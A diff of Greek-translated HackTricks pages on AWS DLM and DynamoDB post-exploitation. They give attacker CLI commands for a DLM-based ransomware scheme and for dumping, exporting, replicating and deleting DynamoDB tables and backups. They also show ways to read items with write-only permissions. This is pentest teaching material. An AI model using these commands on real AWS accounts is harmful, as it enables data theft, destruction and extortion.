|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
# AWS - DLM Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Διαχείριση Κύκλου Ζωής Δεδομένων (DLM)
|
||||
|
||||
### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
|
||||
|
||||
Μια επίθεση ransomware μπορεί να εκτελεστεί κρυπτογραφώντας όσο το δυνατόν περισσότερους EBS volumes και στη συνέχεια διαγράφοντας τα τρέχοντα EC2 instances, EBS volumes και snapshots. Για την αυτοματοποίηση αυτής της κακόβουλης ενέργειας, μπορεί να χρησιμοποιηθεί το Amazon DLM, κρυπτογραφώντας τα snapshots με ένα KMS key από άλλο AWS account και μεταφέροντας τα κρυπτογραφημένα snapshots σε διαφορετικό account. Εναλλακτικά, μπορεί να μεταφέρουν snapshots χωρίς κρυπτογράφηση σε ένα account που ελέγχουν και στη συνέχεια να τα κρυπτογραφήσουν εκεί. Αν και δεν είναι απλό να κρυπτογραφηθούν άμεσα υπάρχοντες EBS volumes ή snapshots, είναι δυνατό να γίνει αυτό με τη δημιουργία νέου volume ή snapshot.
|
||||
|
||||
Πρώτα, θα χρησιμοποιηθεί μια εντολή για τη συλλογή πληροφοριών σχετικά με τα volumes, όπως instance ID, volume ID, κατάσταση κρυπτογράφησης, κατάσταση συνημμένων (attachment status) και τύπο volume.
|
||||
|
||||
`aws ec2 describe-volumes`
|
||||
|
||||
Δεύτερον, θα δημιουργηθεί η lifecycle policy. Αυτή η εντολή χρησιμοποιεί το DLM API για να ρυθμίσει μια lifecycle policy που αυτομάτως παίρνει καθημερινά snapshots των καθορισμένων volumes σε συγκεκριμένη ώρα. Επίσης εφαρμόζει συγκεκριμένα tags στα snapshots και αντιγράφει tags από τα volumes στα snapshots. Το αρχείο policyDetails.json περιλαμβάνει τις λεπτομέρειες της lifecycle policy, όπως τα target tags, το schedule, το ARN του προαιρετικού KMS key για κρυπτογράφηση και το target account για sharing των snapshots, το οποίο θα καταγραφεί στα CloudTrail logs του θύματος.
|
||||
```bash
|
||||
aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
|
||||
```
|
||||
Ένα πρότυπο για το έγγραφο πολιτικής φαίνεται εδώ:
|
||||
```bash
|
||||
{
|
||||
"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
|
||||
"ResourceTypes": [
|
||||
"VOLUME"
|
||||
],
|
||||
"TargetTags": [
|
||||
{
|
||||
"Key": "ExampleKey",
|
||||
"Value": "ExampleValue"
|
||||
}
|
||||
],
|
||||
"Schedules": [
|
||||
{
|
||||
"Name": "DailySnapshots",
|
||||
"CopyTags": true,
|
||||
"TagsToAdd": [
|
||||
{
|
||||
"Key": "SnapshotCreator",
|
||||
"Value": "DLM"
|
||||
}
|
||||
],
|
||||
"VariableTags": [
|
||||
{
|
||||
"Key": "CostCenter",
|
||||
"Value": "Finance"
|
||||
}
|
||||
],
|
||||
"CreateRule": {
|
||||
"Interval": 24,
|
||||
"IntervalUnit": "HOURS",
|
||||
"Times": [
|
||||
"03:00"
|
||||
]
|
||||
},
|
||||
"RetainRule": {
|
||||
"Count": 14
|
||||
},
|
||||
"FastRestoreRule": {
|
||||
"Count": 2,
|
||||
"Interval": 12,
|
||||
"IntervalUnit": "HOURS"
|
||||
},
|
||||
"CrossRegionCopyRules": [
|
||||
{
|
||||
"TargetRegion": "us-west-2",
|
||||
"Encrypted": true,
|
||||
"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
|
||||
"CopyTags": true,
|
||||
"RetainRule": {
|
||||
"Interval": 1,
|
||||
"IntervalUnit": "DAYS"
|
||||
}
|
||||
}
|
||||
],
|
||||
"ShareRules": [
|
||||
{
|
||||
"TargetAccounts": [
|
||||
"123456789012"
|
||||
],
|
||||
"UnshareInterval": 30,
|
||||
"UnshareIntervalUnit": "DAYS"
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"Parameters": {
|
||||
"ExcludeBootVolume": false
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+63
-65
@@ -1,18 +1,18 @@
|
||||
# AWS - DynamoDB Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## DynamoDB
|
||||
|
||||
Για περισσότερες πληροφορίες δείτε:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `dynamodb:BatchGetItem`
|
||||
|
||||
Ένας επιτιθέμενος με αυτά τα δικαιώματα θα μπορεί να **ανακτήσει αντικείμενα από πίνακες με βάση το πρωτεύον κλειδί** (δεν μπορείτε απλώς να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι πρέπει να γνωρίζετε τα πρωτεύοντα κλειδιά (μπορείτε να τα αποκτήσετε λαμβάνοντας τα μεταδεδομένα του πίνακα (`describe-table`).
|
||||
Ένας επιτιθέμενος με αυτό το δικαίωμα θα μπορεί να **ανακτά εγγραφές από πίνακες με βάση το πρωτεύον κλειδί** (δεν μπορείτε απλώς να ζητήσετε όλα τα δεδομένα του πίνακα). Αυτό σημαίνει ότι πρέπει να γνωρίζετε τα πρωτεύοντα κλειδιά (μπορείτε να τα βρείτε λαμβάνοντας τα μεταδεδομένα του πίνακα (`describe-table`).)
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Πιθανός αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Potential Impact:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
|
||||
### `dynamodb:GetItem`
|
||||
|
||||
**Παρόμοιο με τα προηγούμενα δικαιώματα** αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνο 1 πίνακα δεδομένων, δεδομένου του πρωτεύοντος κλειδιού της εγγραφής που θα ανακτήσει:
|
||||
**Παρόμοιο με τα προηγούμενα δικαιώματα** αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνον 1 πίνακα, εφόσον γνωρίζει το πρωτεύον κλειδί της εγγραφής που θέλει να ανακτήσει:
|
||||
```json
|
||||
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
|
||||
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
|
||||
}
|
||||
}
|
||||
```
|
||||
Με αυτήν την άδεια είναι επίσης δυνατό να χρησιμοποιηθεί η μέθοδος **`transact-get-items`** όπως:
|
||||
Με αυτή την άδεια είναι επίσης δυνατό να χρησιμοποιήσετε τη μέθοδο **`transact-get-items`** ως εξής:
|
||||
```json
|
||||
aws dynamodb transact-get-items \
|
||||
--transact-items file:///tmp/a.json
|
||||
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
|
||||
}
|
||||
]
|
||||
```
|
||||
**Potential Impact:** Έμμεση privesc με τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Δυνητικός αντίκτυπος:** Έμμεσο privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα
|
||||
|
||||
### `dynamodb:Query`
|
||||
|
||||
**Παρόμοιο με τα προηγούμενα δικαιώματα** αυτό επιτρέπει σε έναν πιθανό attacker να διαβάσει τιμές από μόνον 1 table δεδομένου του primary key της εγγραφής που θα ανακτήσει. Επιτρέπει τη χρήση ενός [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), αλλά η μόνη σύγκριση που επιτρέπεται με το primary key (που πρέπει να εμφανιστεί) είναι "EQ", οπότε δεν μπορείτε να χρησιμοποιήσετε σύγκριση για να πάρετε ολόκληρη τη DB σε ένα request.
|
||||
**Παρόμοιο με τις προηγούμενες άδειες** αυτό επιτρέπει σε έναν πιθανό επιτιθέμενο να διαβάσει τιμές από μόνον 1 πίνακα δεδομένων δεδομένου του πρωτεύοντος κλειδιού της εγγραφής που θέλει να ανακτήσει. Επιτρέπει τη χρήση ενός [υποσυνόλου συγκρίσεων](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), αλλά η μόνη σύγκριση που επιτρέπεται με το πρωτεύον κλειδί (που πρέπει να εμφανίζεται) είναι "EQ", οπότε δεν μπορείτε να χρησιμοποιήσετε σύγκριση για να πάρετε ολόκληρη τη βάση δεδομένων σε ένα αίτημα.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="json file" }}
|
||||
@@ -107,35 +107,35 @@ aws dynamodb query \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Πιθανός Αντικτύπος:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
|
||||
### `dynamodb:Scan`
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε αυτή την άδεια για να **dump ολόκληρο τον πίνακα εύκολα**.
|
||||
Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να **dump ολόκληρο τον πίνακα εύκολα**.
|
||||
```bash
|
||||
aws dynamodb scan --table-name <t_name> #Get data inside the table
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
|
||||
### `dynamodb:PartiQLSelect`
|
||||
|
||||
Μπορείτε να χρησιμοποιήσετε αυτό το δικαίωμα για να **dump ολόκληρο τον πίνακα εύκολα**.
|
||||
Μπορείτε να χρησιμοποιήσετε αυτήν την άδεια για να **dump ολόκληρο τον πίνακα εύκολα**.
|
||||
```bash
|
||||
aws dynamodb execute-statement \
|
||||
--statement "SELECT * FROM ProductCatalog"
|
||||
```
|
||||
Αυτό το δικαίωμα επιτρέπει επίσης την εκτέλεση του `batch-execute-statement`, όπως:
|
||||
Αυτή η άδεια επιτρέπει επίσης την εκτέλεση του `batch-execute-statement` όπως:
|
||||
```bash
|
||||
aws dynamodb batch-execute-statement \
|
||||
--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
|
||||
```
|
||||
αλλά πρέπει να καθορίσετε το primary key με μια τιμή, οπότε δεν είναι τόσο χρήσιμο.
|
||||
αλλά πρέπει να καθορίσεις το πρωτεύον κλειδί με μια τιμή, οπότε δεν είναι και τόσο χρήσιμο.
|
||||
|
||||
**Potential Impact:** Έμμεση privesc από τον εντοπισμό ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
|
||||
### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
|
||||
|
||||
Αυτή η άδεια θα επιτρέψει σε έναν επιτιθέμενο να **εξάγει ολόκληρο τον πίνακα σε ένα S3 bucket** της επιλογής του:
|
||||
Αυτό το permission θα επιτρέψει σε attacker να **export the whole table to a S3 bucket** της επιλογής του:
|
||||
```bash
|
||||
aws dynamodb export-table-to-point-in-time \
|
||||
--table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
|
||||
@@ -144,33 +144,33 @@ aws dynamodb export-table-to-point-in-time \
|
||||
--export-time <point_in_time> \
|
||||
--region <region>
|
||||
```
|
||||
Σημειώστε ότι για να λειτουργήσει αυτό ο πίνακας πρέπει να έχει ενεργοποιημένο το point-in-time-recovery. Μπορείτε να ελέγξετε αν ο πίνακας το έχει με:
|
||||
Σημειώστε ότι για να λειτουργήσει αυτό ο πίνακας πρέπει να έχει ενεργοποιημένο το point-in-time-recovery, μπορείτε να ελέγξετε αν ο πίνακας το έχει με:
|
||||
```bash
|
||||
aws dynamodb describe-continuous-backups \
|
||||
--table-name <tablename>
|
||||
```
|
||||
Αν δεν είναι ενεργοποιημένο, θα χρειαστεί να το **ενεργοποιήσετε** και γι' αυτό χρειάζεστε την άδεια **`dynamodb:ExportTableToPointInTime`**:
|
||||
Εάν δεν είναι ενεργοποιημένο, θα χρειαστεί να το **ενεργοποιήσετε** και για αυτό χρειάζεστε την άδεια **`dynamodb:ExportTableToPointInTime`**:
|
||||
```bash
|
||||
aws dynamodb update-continuous-backups \
|
||||
--table-name <value> \
|
||||
--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
|
||||
```
|
||||
**Potential Impact:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στον πίνακα
|
||||
**Πιθανός Αντίκτυπος:** Indirect privesc εντοπίζοντας ευαίσθητες πληροφορίες στον πίνακα
|
||||
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
|
||||
|
||||
Με αυτά τα δικαιώματα, ένας attacker θα μπορούσε να **δημιουργήσει έναν νέο πίνακα από ένα backup** (ή ακόμη και να δημιουργήσει ένα backup για να το επαναφέρει σε διαφορετικό πίνακα). Έπειτα, με τα απαραίτητα δικαιώματα, θα μπορούσε να ελέγξει **πληροφορίες** από τα backups που c**δεν υπάρχουν πλέον στον production** πίνακα.
|
||||
Με αυτά τα δικαιώματα, ένας επιτιθέμενος θα μπορούσε να **δημιουργήσει έναν νέο πίνακα από ένα backup** (ή ακόμη και να δημιουργήσει ένα backup για να το επαναφέρει σε διαφορετικό πίνακα). Στη συνέχεια, με τα απαραίτητα δικαιώματα, θα μπορούσε να ελέγξει τις **πληροφορίες** από τα backups που δ**εν θα βρίσκονται πια στον πίνακα παραγωγής**.
|
||||
```bash
|
||||
aws dynamodb restore-table-from-backup \
|
||||
--backup-arn <source-backup-arn> \
|
||||
--target-table-name <new-table-name> \
|
||||
--region <region>
|
||||
```
|
||||
**Πιθανός Αντίκτυπος:** Έμμεση privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στο αντίγραφο ασφαλείας του πίνακα
|
||||
**Πιθανός Αντίκτυπος:** Έμμεσο privesc μέσω εντοπισμού ευαίσθητων πληροφοριών στο αντίγραφο ασφαλείας του πίνακα
|
||||
|
||||
### `dynamodb:PutItem`
|
||||
|
||||
Αυτό το δικαίωμα επιτρέπει στους χρήστες να προσθέσουν ένα νέο item στον πίνακα ή να αντικαταστήσουν ένα υπάρχον item με ένα νέο item. Εάν υπάρχει ήδη item με το ίδιο primary key, το **ολόκληρο item θα αντικατασταθεί** με το νέο item. Εάν το primary key δεν υπάρχει, ένα νέο item με το καθορισμένο primary key θα **δημιουργηθεί**.
|
||||
Αυτή η άδεια επιτρέπει στους χρήστες να προσθέσουν ένα **νέο αντικείμενο στον πίνακα ή να αντικαταστήσουν ένα υπάρχον αντικείμενο** με ένα νέο αντικείμενο. Εάν ένα αντικείμενο με το ίδιο πρωτεύον κλειδί υπάρχει ήδη, το **ολόκληρο αντικείμενο θα αντικατασταθεί** με το νέο αντικείμενο. Εάν το πρωτεύον κλειδί δεν υπάρχει, ένα νέο αντικείμενο με το καθορισμένο πρωτεύον κλειδί θα **δημιουργηθεί**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -202,11 +202,11 @@ aws dynamodb put-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Πιθανός Αντίκτυπος:** Exploitation of further vulnerabilities/bypasses, έχοντας τη δυνατότητα να προσθέτετε/τροποποιείτε δεδομένα σε έναν πίνακα DynamoDB
|
||||
**Potential Impact:** Εκμετάλλευση περαιτέρω ευπαθειών/παρακάμψεων με δυνατότητα προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB
|
||||
|
||||
### `dynamodb:UpdateItem`
|
||||
|
||||
Αυτή η άδεια επιτρέπει στους χρήστες να **τροποποιούν τα υπάρχοντα attributes ενός στοιχείου ή να προσθέτουν νέα attributes σε ένα στοιχείο**. Δεν **αντικαθιστά** ολόκληρο το στοιχείο· ενημερώνει μόνο τα συγκεκριμένα attributes. Εάν το πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η ενέργεια θα **δημιουργήσει ένα νέο στοιχείο** με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα attributes που καθορίζονται στην έκφραση ενημέρωσης.
|
||||
Αυτό το δικαίωμα επιτρέπει στους χρήστες να **τροποποιούν τα υπάρχοντα χαρακτηριστικά ενός αντικειμένου ή να προσθέτουν νέα χαρακτηριστικά σε ένα αντικείμενο**. Δεν **αντικαθιστά** ολόκληρο το αντικείμενο; ενημερώνει μόνο τα συγκεκριμένα χαρακτηριστικά. Εάν το πρωτεύον κλειδί δεν υπάρχει στον πίνακα, η λειτουργία θα **δημιουργήσει ένα νέο αντικείμενο** με το καθορισμένο πρωτεύον κλειδί και θα ορίσει τα χαρακτηριστικά που καθορίζονται στην έκφραση ενημέρωσης.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="XSS Example" }}
|
||||
@@ -242,49 +242,49 @@ aws dynamodb update-item \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Πιθανή Επίπτωση:** Εκμετάλλευση επιπλέον vulnerabilities/bypasses μέσω της δυνατότητας προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB
|
||||
**Πιθανός Αντίκτυπος:** Εκμετάλλευση περαιτέρω ευπαθειών/παρακάμψεων με τη δυνατότητα προσθήκης/τροποποίησης δεδομένων σε έναν πίνακα DynamoDB
|
||||
|
||||
### `dynamodb:DeleteTable`
|
||||
|
||||
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **διαγράψει έναν πίνακα DynamoDB, προκαλώντας απώλεια δεδομένων**.
|
||||
Ένας επιτιθέμενος με αυτό το δικαίωμα μπορεί να **διαγράψει έναν πίνακα DynamoDB, προκαλώντας απώλεια δεδομένων**.
|
||||
```bash
|
||||
aws dynamodb delete-table \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
**Potential impact**: Απώλεια δεδομένων και διακοπή υπηρεσιών που βασίζονται στον διαγραμμένο πίνακα.
|
||||
**Πιθανός αντίκτυπος**: Απώλεια δεδομένων και διακοπή υπηρεσιών που εξαρτώνται από τον διαγραμμένο πίνακα.
|
||||
|
||||
### `dynamodb:DeleteBackup`
|
||||
|
||||
Ένας επιτιθέμενος με αυτή την άδεια μπορεί να **διαγράψει ένα backup του DynamoDB, προκαλώντας ενδεχομένως απώλεια δεδομένων σε περίπτωση σεναρίου ανάκαμψης από καταστροφή**.
|
||||
Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να **διαγράψει ένα αντίγραφο ασφαλείας του DynamoDB, ενδεχομένως προκαλώντας απώλεια δεδομένων σε περίπτωση σεναρίου ανάκτησης από καταστροφή**.
|
||||
```bash
|
||||
aws dynamodb delete-backup \
|
||||
--backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
|
||||
--region <region>
|
||||
```
|
||||
**Πιθανός αντίκτυπος**: Απώλεια δεδομένων και αδυναμία ανάκτησης από αντίγραφο ασφαλείας σε σενάριο ανάκαμψης από καταστροφή.
|
||||
**Ενδεχόμενος αντίκτυπος**: Απώλεια δεδομένων και αδυναμία ανάκτησης από ένα backup σε σενάριο ανάκτησης από καταστροφή.
|
||||
|
||||
### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
|
||||
|
||||
> [!NOTE]
|
||||
> TODO: Ελέγξτε αν αυτό λειτουργεί πραγματικά
|
||||
> TODO: Δοκιμάστε αν αυτό λειτουργεί πραγματικά
|
||||
|
||||
Ένας attacker με αυτά τα permissions μπορεί να **enable a stream σε έναν DynamoDB table, update τον πίνακα για να ξεκινήσει το streaming των αλλαγών, και στη συνέχεια να έχει access στο stream για να παρακολουθεί τις αλλαγές στον πίνακα σε πραγματικό χρόνο**. Αυτό επιτρέπει στον attacker να παρακολουθεί και να exfiltrate αλλαγές δεδομένων, ενδεχομένως οδηγώντας σε data leakage.
|
||||
Ένας attacker με αυτές τις άδειες μπορεί να **ενεργοποιήσει ένα stream σε έναν πίνακα DynamoDB, να ενημερώσει τον πίνακα ώστε να ξεκινήσει το streaming αλλαγών, και στη συνέχεια να έχει πρόσβαση στο stream για να παρακολουθεί τις αλλαγές στον πίνακα σε πραγματικό χρόνο**. Αυτό επιτρέπει στον attacker να παρακολουθεί και να exfiltrate αλλαγές δεδομένων, ενδεχομένως οδηγώντας σε data leakage.
|
||||
|
||||
1. Enable a stream on a DynamoDB table:
|
||||
1. Ενεργοποιήστε ένα stream σε έναν πίνακα DynamoDB:
|
||||
```bash
|
||||
aws dynamodb update-table \
|
||||
--table-name TargetTable \
|
||||
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
|
||||
--region <region>
|
||||
```
|
||||
2. Περιγράψτε το stream για να λάβετε το ARN και άλλες λεπτομέρειες:
|
||||
2. Περιγράψτε τη ροή για να αποκτήσετε το ARN και άλλες λεπτομέρειες:
|
||||
```bash
|
||||
aws dynamodb describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
```
|
||||
3. Λάβετε τον shard iterator χρησιμοποιώντας το stream ARN:
|
||||
3. Πάρτε το shard iterator χρησιμοποιώντας το stream ARN:
|
||||
```bash
|
||||
aws dynamodbstreams get-shard-iterator \
|
||||
--stream-arn <stream_arn> \
|
||||
@@ -292,22 +292,22 @@ aws dynamodbstreams get-shard-iterator \
|
||||
--shard-iterator-type LATEST \
|
||||
--region <region>
|
||||
```
|
||||
4. Χρησιμοποιήστε το shard iterator για να αποκτήσετε πρόσβαση και να exfiltrate δεδομένα από το stream:
|
||||
4. Χρησιμοποιήστε τον shard iterator για να αποκτήσετε πρόσβαση και να exfiltrate δεδομένα από το stream:
|
||||
```bash
|
||||
aws dynamodbstreams get-records \
|
||||
--shard-iterator <shard_iterator> \
|
||||
--region <region>
|
||||
```
|
||||
**Πιθανός αντίκτυπος**: Παρακολούθηση σε πραγματικό χρόνο και data leakage των αλλαγών του πίνακα DynamoDB.
|
||||
**Πιθανός αντίκτυπος**: Παρακολούθηση σε πραγματικό χρόνο και data leakage των αλλαγών στον πίνακα DynamoDB.
|
||||
|
||||
### Ανάγνωση items μέσω `dynamodb:UpdateItem` and `ReturnValues=ALL_OLD`
|
||||
### Ανάγνωση items μέσω `dynamodb:UpdateItem` και `ReturnValues=ALL_OLD`
|
||||
|
||||
Ένας attacker με μόνο `dynamodb:UpdateItem` σε έναν πίνακα μπορεί να διαβάσει items χωρίς κανένα από τα συνήθη read permissions (`GetItem`/`Query`/`Scan`) εκτελώντας μια ακίνδυνη ενημέρωση και ζητώντας `--return-values ALL_OLD`. Το DynamoDB θα επιστρέψει την πλήρη προ-ενημέρωσης εικόνα του item στο πεδίο `Attributes` της απάντησης (αυτό δεν καταναλώνει RCUs).
|
||||
Ένας επιτιθέμενος που έχει μόνο την άδεια `dynamodb:UpdateItem` πάνω σε έναν πίνακα μπορεί να διαβάσει items χωρίς τις συνήθεις δικαιοδοσίες ανάγνωσης (`GetItem`/`Query`/`Scan`), εκτελώντας μια αβλαβή ενημέρωση και ζητώντας `--return-values ALL_OLD`. Το DynamoDB θα επιστρέψει την πλήρη εικόνα του item πριν την ενημέρωση στο πεδίο `Attributes` της απόκρισης (αυτό δεν καταναλώνει RCUs).
|
||||
|
||||
- Ελάχιστα δικαιώματα: `dynamodb:UpdateItem` στον στοχευμένο table/key.
|
||||
- Προαπαιτούμενα: Πρέπει να γνωρίζετε το πρωτεύον κλειδί του item.
|
||||
- Ελάχιστες άδειες: `dynamodb:UpdateItem` στον στοχευόμενο πίνακα/κλειδί.
|
||||
- Προαπαιτούμενα: Πρέπει να γνωρίζετε το πρωτεύον κλειδί του αντικειμένου.
|
||||
|
||||
Παράδειγμα (προσθέτει ένα ακίνδυνο attribute και exfiltrates το προηγούμενο item στην απάντηση):
|
||||
Παράδειγμα (προσθέτει ένα αβλαβές attribute και exfiltrates το προηγούμενο αντικείμενο στην απόκριση):
|
||||
```bash
|
||||
aws dynamodb update-item \
|
||||
--table-name <TargetTable> \
|
||||
@@ -318,14 +318,14 @@ aws dynamodb update-item \
|
||||
--return-values ALL_OLD \
|
||||
--region <region>
|
||||
```
|
||||
Η απόκριση του CLI θα περιλαμβάνει ένα μπλοκ `Attributes` που περιέχει το πλήρες προηγούμενο αντικείμενο (όλα τα attributes), παρέχοντας ουσιαστικά ένα read primitive από write-only access.
|
||||
Η απόκριση του CLI θα περιλαμβάνει ένα μπλοκ `Attributes` που περιέχει το πλήρες προηγούμενο στοιχείο (όλα τα attributes), παρέχοντας ουσιαστικά ένα read primitive από write-only πρόσβαση.
|
||||
|
||||
**Πιθανός Αντίκτυπος:** Read arbitrary items from a table with only write permissions, enabling sensitive data exfiltration when primary keys are known.
|
||||
**Πιθανός αντίκτυπος:** Ανάγνωση αυθαίρετων στοιχείων από έναν πίνακα με μόνο δικαιώματα εγγραφής, επιτρέποντας την εξαγωγή ευαίσθητων δεδομένων όταν τα κύρια κλειδιά είναι γνωστά.
|
||||
|
||||
|
||||
### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
|
||||
|
||||
Κρυφή exfiltration με την προσθήκη μιας νέας replica Region σε ένα DynamoDB Global Table (version 2019.11.21). Αν ένας principal μπορεί να προσθέσει έναν regional replica, ολόκληρος ο πίνακας αναπαράγεται στην attacker-chosen Region, από την οποία ο attacker μπορεί να διαβάσει όλα τα items.
|
||||
Σιωπηρή εξαγωγή δεδομένων προσθέτοντας μια νέα replica Region σε έναν DynamoDB Global Table (έκδοση 2019.11.21). Εάν ένας principal μπορεί να προσθέσει ένα regional replica, ολόκληρος ο πίνακας αντιγράφεται στη Region που επιλέγει ο attacker, από όπου ο attacker μπορεί να διαβάσει όλα τα στοιχεία.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (default DynamoDB-managed KMS)" }}
|
||||
@@ -354,13 +354,13 @@ aws dynamodb update-table \
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Δικαιώματα: `dynamodb:UpdateTable` (with `replica-updates`) ή `dynamodb:CreateTableReplica` στον στοχευόμενο πίνακα. Εάν χρησιμοποιείται CMK στο replica, μπορεί να απαιτούνται δικαιώματα KMS για αυτό το key.
|
||||
Δικαιώματα: `dynamodb:UpdateTable` (with `replica-updates`) ή `dynamodb:CreateTableReplica` στον πίνακα-στόχο. Αν χρησιμοποιείται CMK στο replica, μπορεί να απαιτούνται δικαιώματα KMS για αυτό το κλειδί.
|
||||
|
||||
Πιθανός αντίκτυπος: Full-table replication σε attacker-controlled Region που οδηγεί σε stealthy data exfiltration.
|
||||
Πιθανός αντίκτυπος: Πλήρης αντιγραφή του πίνακα σε Region που ελέγχεται από attacker, οδηγώντας σε διακριτική εξαγωγή δεδομένων.
|
||||
|
||||
### `dynamodb:TransactWriteItems` (ανάγνωση μέσω αποτυχημένης συνθήκης + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
### `dynamodb:TransactWriteItems` (ανάγνωση μέσω αποτυχίας συνθήκης + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
|
||||
|
||||
Ένας attacker με δικαιώματα transactional write μπορεί να exfiltrate τα πλήρη attributes ενός υπάρχοντος item εκτελώντας ένα `Update` μέσα σε `TransactWriteItems` που αποτυγχάνει σκόπιμα ένα `ConditionExpression` ενώ ορίζει `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Σε περίπτωση αποτυχίας, το DynamoDB συμπεριλαμβάνει τα προηγούμενα attributes στους λόγους ακύρωσης της transaction, μετατρέποντας ουσιαστικά την πρόσβαση μόνο για εγγραφή σε read access των στοχευμένων keys.
|
||||
Ένας attacker με transactional write προνόμια μπορεί να εξαγάγει τα πλήρη attributes ενός υπάρχοντος item πραγματοποιώντας ένα `Update` μέσα σε `TransactWriteItems` που σκόπιμα αποτυγχάνει ένα `ConditionExpression` ενώ έχει οριστεί `ReturnValuesOnConditionCheckFailure=ALL_OLD`. Σε περίπτωση αποτυχίας, το DynamoDB συμπεριλαμβάνει τα προηγούμενα attributes στους λόγους ακύρωσης της συναλλαγής, μετατρέποντας ουσιαστικά την πρόσβαση μόνο για εγγραφή σε πρόσβαση ανάγνωσης για τα στοχευμένα κλειδιά.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
|
||||
@@ -409,23 +409,21 @@ print(e.response['CancellationReasons'][0]['Item'])
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
|
||||
